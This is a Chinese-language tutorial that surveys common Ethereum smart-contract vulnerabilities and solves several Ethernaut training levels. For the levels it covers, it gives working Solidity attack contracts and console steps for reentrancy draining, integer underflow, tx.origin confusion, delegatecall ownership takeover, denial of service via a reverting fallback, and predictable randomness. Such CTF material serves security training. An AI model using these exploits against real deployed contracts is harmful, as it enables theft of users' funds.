以太坊中常見的程式碼安全問題以及在Ethernaut平臺解題的演示
以太坊中常見的程式碼安全問題
下面列出了已知的常見的 Solidity 的漏洞型別:
- Reentrancy - 重入
- Access Control - 訪問控制
- Arithmetic Issues - 算術問題(整數上下溢位)
- Unchecked Return Values For Low Level Calls - 未嚴格判斷不安全函式呼叫返回值
- Denial of Service - 拒絕服務
- Bad Randomness - 可預測的隨機處理
- Front Running
- Time manipulation
- Short Address Attack - 短地址攻擊
- Unknown Unknowns - 其他未知
Ethernaut 是 Zeppelin 提供的一個基於 Web3 和 Solidity 的智慧合約審計訓練平臺,復現了智慧合約中可能出現的各種安全問題。現在已經有20+題目。https://ethernaut.zeppelin.solutions/
在部署合約前,需要準備兩樣東西:
1.編譯後的程式碼。
2.應用程式二進位制介面(ABI),它是一個定義如何與合約進行互動的JavaScript物件。
我們可以通過使用Solidity編譯器來獲得這兩者。
我們嘗試使用線上的remix結合ethernaut看一下攻擊效果。Remix IDE是開發以太坊智慧合約的線上IDE工具,部署簡單的智慧合約非常方便。需要使用谷歌或者火狐的瀏覽器,且安裝了MetaMask 外掛。
- 將原始碼複製到Remix,點選編譯。
- 要訪問已編譯的程式碼,直接點選選單右邊的details按鈕。 在彈出視窗中,向下滾動並複製WEB3DEPLOY文字框中的所有程式碼.
第10關:Re-entrancy
- 首先,我們直接來看問題10,reentrancy重入問題。這個問題和我們上次講的問題很像。
pragma solidity ^0.4.18;
contract Reentrance {
mapping(address => uint) public balances;
function donate (address _to) public payable {
balances[_to] += msg.value;
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
function() public payable {}
}
有了基本思路之後,可以撰寫程式碼:
contract Attack {
address instance_address = 0x476a5eebd3587e89d1f4f81b1fa7a724f834a04c;
Reentrance target = Reentrance(instance_address);
function Attack() payable{}
function donate() public payable {
target.donate.value(msg.value)(this);
}
function hack() public {
target.withdraw(0.5 ether);
}
function get_balance() public view returns(uint) {
return target.balanceOf(this);
}
function my_eth_bal() public view returns(uint) {
return address(this).balance;
}
function ins_eth_bal() public view returns(uint) {
return instance_address.balance;
}
function () public payable {
target.withdraw(0.5 ether);
}
}
把以上程式碼拷貝到remix ide中,編譯之後將合約部署到網路上,此時檢視,可以看到
- balance 為 0
- Reentrance 賬戶餘額 1 ether
- Attack 賬戶餘額 0 ether
然後呼叫donate函式,以攻擊者合約的身份向題目地址轉賬 1 ether;首先在value處填寫1 ether;
然後呼叫donate函式:
- balance 為 1
- Reentrance 賬戶餘額 2 ether
- Attack 賬戶餘額 0 ether
效果如下:
- balance 下溢
- Reentrance 賬戶餘額 0 ether
- Attack 賬戶餘額 2 ether
然後開始攻擊,呼叫hack():
一般來說,在呼叫hack的時候會報出不能正確估計gas的問題,儘量多給它一些gas。
如果hack正常工作,那麼結果如下:
攻擊的思路依然是在fallback函式上做文章:
function () public payable {
target.withdraw(0.5 ether);
}
在賬戶被修改餘額前不斷遞迴呼叫此函式,造成了銀行賬戶被取光的效果。
為了鞏固對上一個漏洞的理解,我們來接著看第一關,Fallback。
第1關:Fallback
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract Fallback is Ownable {
mapping(address => uint) public contributions;
function Fallback() public {
contributions[msg.sender] = 1000 * (1 ether);
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(this.balance);
}
function() payable public {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
這一關中,直接給出了原始碼,然後要求的通關條件是
- 成為合約的 owner
- 清零 balance
合約建構函式 Fallback() 中初始化擁有者貢獻度為 1000 ether。
我們可以通過轉錢提升貢獻度,當貢獻度超過 1000 ether 即可成為合約 owner。
但在 contribute() 中限制了每次只能轉小於 0.001 ether 的錢。很明顯,此路不通。
如何另闢蹊徑呢?
其實成為 owner 還有另一種方式,我們仔細看合約的 fallback 函式,即最下方的無名函式。當合約賬戶收到一筆轉賬時會自動呼叫 fallback 函式。在這裡,只要轉賬金額大於0,並且貢獻大於0,即可成為 owner。
呼叫 help() 函式,瞭解下如何進行轉錢操作。還需要注意一下 Wei 和 Ether 的轉換。
contract.contribute({value: 1})
contract.sendTransaction({value: 1})
contract.withdraw()
這裡有另一個問題,如何呼叫fallback。可以使用**instance.sendTransaction({})**的方法來觸發fallback函式。
第5關:算術問題(整數上下溢位)
這裡繼續加深對第一個重入問題的理解,在最後一步hack成功之後,自己賬戶餘額是一個很大的數值。這是怎麼回事呢?
2**256 = 115792089237316195423570985008687907853269984665640564039457584007913129639936L
這裡就涉及到整數的上溢和下溢。
以太坊虛擬機器(EVM)為整數指定固定大小的資料型別。這意味著一個整形變數只能表達一定範圍的數字。例如,uint8,只能儲存[0,255]之間的數字,如果想儲存256,那麼就會上溢,從而將變數的值變為0。相對應的,如果從一個uint8型別的值為0的變數中減1,就會發生下溢,該變數會變成255。如果不加註意,而且有沒有對使用者輸入執行檢查,就有可能發生攻擊。
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() public payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = now + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
function withdraw() public {
require(balances[msg.sender] > 0);
require(now > lockTime[msg.sender]);
balances[msg.sender] = 0;
msg.sender.transfer(balances[msg.sender]);
}
}
這份合約的設計就像是一個時間保險庫,使用者可以將 Ether 存入合約,並在那裡鎖定至少一週。而且通過使用increaseLockTime函式,使用者可以延長超過1周的時間,但是一旦存放,使用者可以確信他們的 Ether 會被安全鎖定至少一週。
上述程式碼有什麼問題呢?(注意lockTime的時間是uint型別)
那我們來看ethernaut的第5關。
目標:
初始化的時候給了20個token,需要通過攻擊來獲取更多大量的token。
pragma solidity ^0.4.18;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
function Token(uint _initialSupply) {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
同理,可以利用溢位。
比較明顯的require(balances[msg.sender] - _value >= 0);balances[msg.sender] -= _value;,存在整數溢位問題。因為uint是無符號數,會讓其變為負數即會轉換為很大的正數。
題目中初始化為20,當轉21的時候則會發生下溢,導致數值變大其數值為2**256 - 1
>>> 2**256 - 1
115792089237316195423570985008687907853269984665640564039457584007913129639935L
第4關:使用者地址與合約地址
看完前面幾個問題之後,繼續看一下其他方面的問題。
第四關telephone。
tx.origin是一個address型別,表示交易的傳送者,msg.sender則表示為訊息的傳送者。在同一個合約中,它們是等價的。
pragma solidity ^0.4.18;
contract Demo {
event logData(address);
function a(){
logData(tx.origin);
logData(msg.sender);
}
}
但是在不同合約中,tx.origin表示使用者地址,msg.sender則表示合約地址。
所以Exploit比較明顯了
contract exploit {
Telephone expTelephone;
function exploit(address aimAddr){
expTelephone = Telephone(aimAddr);
}
function hack(){
expTelephone.changeOwner(tx.origin);
}
}
第5關: Access Control 訪問控制
訪問控制,在使用 Solidity 編寫合約程式碼時,有幾種預設的變數或函式訪問域關鍵字:private, public, external 和 internal,對合約例項方法來講,預設可見狀態為 public,而合約例項變數的預設可見狀態為 private。
- public 標記函式或變數可以被任何賬戶呼叫或獲取,可以是合約裡的函式、外部使用者或繼承該合約裡的函式
- external 標記的函式只能從外部訪問,不能被合約裡的函式直接呼叫,但可以使用 this.func() 外部呼叫的方式呼叫該函式
- private 標記的函式或變數只能在本合約中使用(注:這裡的限制只是在程式碼層面,以太坊是公鏈,任何人都能直接從鏈上獲取合約的狀態資訊)
- internal 一般用在合約繼承中,父合約中被標記成 internal
狀態變數或函式可供子合約進行直接訪問和呼叫(外部無法直接獲取和呼叫)
Solidity 中除了常規的變數和函式可見性描述外,這裡還需要特別提到的就是兩種底層呼叫方式 call和 delegatecall:
- call 的外部呼叫上下文是外部合約
- delegatecall 的外部呼叫上下文是呼叫合約上下文
DELEGATECALL基本就是說“我是一個合約,我授權(delegating)你對我的storage做任何事情”。delegatecall的安全問題是它必須要能夠信任接收方的合約會善待它的storage。DELEGATECALL是對CALLCODE的改進,因為CALLCODE不儲存msg.send和msg.value。譬如如果A呼叫B,B又DELEGATECALL給C,那麼在DELEGATECALL中的msg.sender是A,而在CALLCODE中的msg.sender是B。
如果A使用CALL呼叫B,那麼B的程式碼的執行上下文就是B;如果A使用DELEGATECALL呼叫B,那麼B的程式碼的執行上下文是A的上下文。簡單的用圖表示就是:
有了這些背景知識,我們來看一下Ethernaut中的題目,第六關delegation。過關要求是要成為合約例項的owner。
pragma solidity ^0.4.10;
contract Delegate {
address public owner;
function Delegate(address _owner) {
owner = _owner;
}
function pwn() {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
function Delegation(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
function () {
if (delegate.delegatecall(msg.data)) {
this;
}
}
}
思路其實是很清晰,因為Delegation合約中的delegatecall函式引數可控,導致可以在合約內部執行任意函式,只需呼叫Delegate合約中的pwn函式,即可將 owner 變成自己。這裡需要注意的問題是,delegatecall的引數問題。不是直接把函式名字傳遞過去。
原因是,這裡需要知道**Ethereum Virtual Machine(EVM)**如何確定執行合約的哪個函式。合約最後都會被編譯成bytecode,而發起一個transaction要執行合約裡的某個函式時,交易裡的data欄位同樣也是bytecode而不是人看得懂的函式名稱。 以一個簡單的合約為例:
contract Multiply {
function multiply(int x, int y) constant returns(int) {
return x*y;
}
}
編譯完的bytecode:
6060604052341561000c57fe5b5b60ae8061001b6000396000f30060606040526000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680633c4308a814603a575bfe5b3415604157fe5b605e60048080359060200190919080359060200190919050506074565b6040518082815260200191505060405180910390f35b600081830290505b929150505600a165627a7a72305820c40f61d36a3a1b7064b58c57c89d5c3d7c73b9116230f9948806b11836d2960c0029
如果要執行multiply函式,算出8*7等於多少,transaction裡的data欄位會是
0x3c4308a800000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000007
分成三個部分: 第一個是四個byte的3c4308a8,第二和第三個分別是32 byte長的引數,8和7。
3c4308a8是multiply函式的 signature,是取函式名稱和引數型別進行雜湊後取前四個byte而得(不包含 0x ):
sha3("multiply(int256,int256)"));
//0x3c4308a8851ef99b4bfa5ffd64b68e5f2b4307725b25ad0d14040bdb81e3bafcsha3("multiply(int256,int256)")).substr(2,8);
//3c4308a8
EVM就是靠函式的signature來知道該執行哪個函式的。在合約編譯完的bytecode裡搜尋也能找到此signature。
第9關:DoS拒絕服務攻擊
這裡參看Ethernaut的第九關,king。
合約程式碼邏輯很簡單,誰給的錢多誰就能成為 King,並且將前任 King 付的錢歸還。當提交 instance 時,題目會重新奪回 King 的位置,需要解題者阻止其他人成為 King。
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract King is Ownable {
address public king;
uint public prize;
function King() public payable {
king = msg.sender;
prize = msg.value;
}
function() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
}
然後提交一些幣。
回顧一下 Solidity 中幾種轉幣方式。
- .transfer()
當傳送失敗時會 throw; 回滾狀態
只會傳遞 2300 Gas 供呼叫,防止重入(reentrancy)
- .send()
當傳送失敗時會返回 false 布林值
只會傳遞 2300 Gas 供呼叫,防止重入(reentrancy)
- .gas().call.value()()
當傳送失敗時會返回 false
傳遞所有可用 Gas 供呼叫,不能有效防止重入(reentrancy)
當我們成為 King 之後,如果有人出價比我們高,會首先把錢退回給我們,使用的是 transfer()。上面提到,當 transfer() 呼叫失敗時會回滾狀態,那麼如果合約在退錢這一步驟一直呼叫失敗的話,程式碼將無法繼續向下執行,其他人就無法成為新的 King。
部署一個新的合約,當收到轉賬時主動丟擲錯誤。
pragma solidity ^0.4.18;
contract Attack {
address instance_address = instance_address_here;
function Attack() payable{}
function hack() public {
instance_address.call.value(1.1 ether)();
}
function () public {
revert();
}
}
第3關: Bad Randomness - 可預測的隨機處理
偽隨機問題一直都存在於現代計算機系統中,但是在開放的區塊鏈中,像在以太坊智慧合約中編寫的基於隨機數的處理邏輯感覺就有點不切實際了,由於人人都能訪問鏈上資料,合約中的儲存資料都能在鏈上查詢分析得到。如果合約程式碼沒有嚴格考慮到鏈上資料公開的問題去使用隨機數,可能會被攻擊者惡意利用來進行 “作弊”。
pragma solidity ^0.4.18;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
通關條件
連續猜對 10 次
FACTOR 為 2^255,coinFlip 結果只會為 1 或 0
相當於一個猜硬幣正反面的遊戲
這是經典的區塊鏈偽隨機數的問題。
在以太坊智慧合約中編寫的基於隨機數的處理邏輯是十分危險的,因為區塊鏈上的資料是公開的,所有人都可以看見,利用公開的資料來生成隨機數是不明智的。
此外,像 timestamps 這樣礦工可控的資料也不宜作為種子。
在這道題中,出題人利用 block.blockhash(block.number-1) 來生成隨機數,這是可預測的。我們可以部署一個新的合約,先進行隨機數的預測,再進行競猜。
contract Attack {
CoinFlip fliphack;
address instance_address = instance_address_here;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function Attack() {
fliphack = CoinFlip(instance_address);
}
function predict() public view returns (bool){
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
return coinFlip == 1 ? true : false;
}
function hack() public {
bool guess = predict();
fliphack.flip(guess);
}
}
只需呼叫 10 次 hack() 函式即可。
注意:
若遇上了meatamask 無限轉圈的問題,可能是版本問題,下載一個老版本就行。但是extension store沒有老版本,後來還是github上發現,在chrome://extensions右上角開啟開發者模式,然後可以選擇資料夾。